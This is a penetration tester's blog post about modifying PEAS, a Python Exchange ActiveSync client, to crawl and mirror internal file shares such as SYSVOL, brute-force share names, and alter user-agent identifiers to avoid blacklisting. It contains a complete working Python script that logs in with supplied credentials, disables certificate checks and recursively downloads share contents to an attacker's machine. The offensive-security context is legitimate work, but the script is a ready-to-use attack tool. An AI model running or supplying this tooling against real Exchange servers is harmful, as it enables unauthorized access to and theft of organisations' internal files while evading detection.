Tuning PEAS for Fun and Profit
At the recent external pentest engagement I had a feeling that PEAS (Python Exchange ActiveSync client) is missing some handy features. For example, crawling shared folders and auto downloading discovered files would be a nice function to have as well as brute forcing potential shares by a wordlist. To save time I wrote a draft script at the time of the pentest, but then I decided to fork PEAS project and tune the source code.
“Would you like to be modified?”
- Prologue
- Crawl & Dump Shared Folders
- Brute Force Share Names
- Fix Encoding
- Mimic Legitimate Identifiers
- Draft Script
- Modified PEAS
- Refs
Prologue
Few pentest experts would argue that if there is an OWA client on the perimeter, then be ready to collect loot. And that is because OWA means MS Exchange, and MS Exchange is not the best spot to demonstrate perfect security out of the box. Time-based username enumeration will give you account names and a password spray will likely reveal some weak credentials in the domain.
One of the ways where to go next is a hunt for fileshares with juicy content through Exchange ActiveSync. If you dare choose this path, then PEAS by @FSecureLABS could become your loyal companion along the way, but there is quite a few things that could be upgraded in this tool very simply. I will fork PEAS and add some modifications to the code.
Crawl & Dump Shared Folders
The first thing I felt the need for was the ability to recursively crawl the share searching for files by a given pattern. Let’s say that the only share you were able to guess (or that you had access to) was DC’s SYSVOL
. Then it would be a pain to examine all the GUID style policy paths manually. If we could automate this process and add this --download
option in order to mirror SYSVOL
to an attacker’s machine, then it would not be a big deal to run find
through all the content and xargs grep
for some extra hostnames / account names. That’s exactly what crawl_unc serves for:
Brute Force Share Names
In case you did not find any additional names within SYSVOL
contents, then you could try to enumerate shares with a brute force attack. The hostnames.txt wordlist stores some common machine names that will be mutated on-the-fly using predefined patterns and a prefix string (if you provide one). That is what brute_unc is responsible for:
Because I can list the root directory of the share, there is no need to guess child folder names as well — they will appear if the machine have any.
Fix Encoding
It is also worth noting, that PEAS will likely break if it encounters a non-en-US characters in a pathname. That can be fixed by removing explicitly set UTF-8 encoding.
Mimic Legitimate Identifiers
As it is stated in @ptswarm’s research:
Because PEAS is just a Python client for EAS, it needs to have a user-agent string and some other identifiers that can easily be fingerprinted and added to a blacklist. Anyways, changing them is also quite a straightforward task.
Draft Script
This is the draft script that was written at the time of engagement before forking PEAS:
#!/usr/bin/env python
# Usage: python2 peas-crawl-shares.py -h
import os
import errno
from random import choice
from string import ascii_uppercase, digits
from argparse import ArgumentParser
import peas
from pathlib import Path, PureWindowsPath
def init_peas_client(server, domain_netbios, user, password):
client = peas.Peas()
client.disable_certificate_verification()
client.set_creds({
'server': server,
'user': '%s\\%s' % (domain_netbios, user),
'password': password,
})
print('[*] Auth result: %s' % client.check_auth())
return client
def list_unc(client, uncpath, show_parent=True):
records = client.get_unc_listing(uncpath)
if show_parent:
print('[*] Listing: %s\n' % (uncpath,))
output = []
for record in records:
name = record.get('DisplayName')
path = record.get('LinkId')
is_folder = record.get('IsFolder') == '1'
is_hidden = record.get('IsHidden') == '1'
size = record.get('ContentLength', '0') + 'B'
ctype = record.get('ContentType', '-')
last_mod = record.get('LastModifiedDate', '-')
created = record.get('CreationDate', '-')
attrs = ('f' if is_folder else '-') + ('h' if is_hidden else '-')
output.append("%s %-24s %-24s %-24s %-12s %s" % (attrs, created, last_mod, ctype, size, path))
print('\n'.join(output))
def crawl_unc(client, uncpath, download=False):
records = client.get_unc_listing(uncpath)
for record in records:
if record['IsFolder'] == '1':
if record['LinkId'] == uncpath:
continue
crawl_unc(client, record['LinkId'], download)
else:
if download:
try:
data = client.get_unc_file(record['LinkId'])
except TypeError:
pass
else:
winpath = PureWindowsPath(record['LinkId'])
posixpath = Path(winpath.as_posix()) # Windows path to POSIX path
posixpath = Path(*posixpath.parts[1:]) # get rid of leading "/"
dirpath = posixpath.parent
dirpath = mkdir_p(dirpath)
filename = str(dirpath / posixpath.name)
try:
with open(filename, 'w') as fd:
fd.write(data)
# If path name becomes too long when filename is added
except IOError as e:
if e.errno == errno.ENAMETOOLONG:
dirpath = Path(dirpath.parts[0])
extname = posixpath.suffix
# Generate random name for the file and put it in the root share directory
filename = ''.join(choice(ascii_uppercase + digits) for _ in range(8)) + extname
filename = str(dirpath / filename)
with open(filename, 'w') as fd:
fd.write(data)
else:
raise
list_unc(client, record['LinkId'], show_parent=False)
def mkdir_p(dirpath):
try:
dirname = str(dirpath)
os.makedirs(dirname)
except OSError as e:
if e.errno == errno.EEXIST and os.path.isdir(dirname):
pass
# If directory path name already too long
elif e.errno == errno.ENAMETOOLONG:
dirpath = Path(dirpath.parts[0])
else:
raise
return dirpath
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('-s', '--server', required=True, help='server')
parser.add_argument('-d', '--domain-netbios', required=True, help='domain NetBIOS name')
parser.add_argument('-u', '--user', required=True, help='username')
parser.add_argument('-p', '--password', required=True, help='password')
parser.add_argument('--uncpath', help='UNC path')
parser.add_argument('--crawl-unc', action='store_true', help='recursively list all files within specified UNC path')
parser.add_argument('--download', action='store_true', help='recursively list & download files within specified UNC path')
args = parser.parse_args()
client = init_peas_client(args.server, args.domain_netbios, args.user, args.password)
list_unc(client, args.uncpath)
if args.crawl_unc:
if args.download:
print('\n[*] Listing and downloading all files...\n')
else:
print('\n[*] Listing all files...\n')
crawl_unc(client, args.uncpath, download=args.download)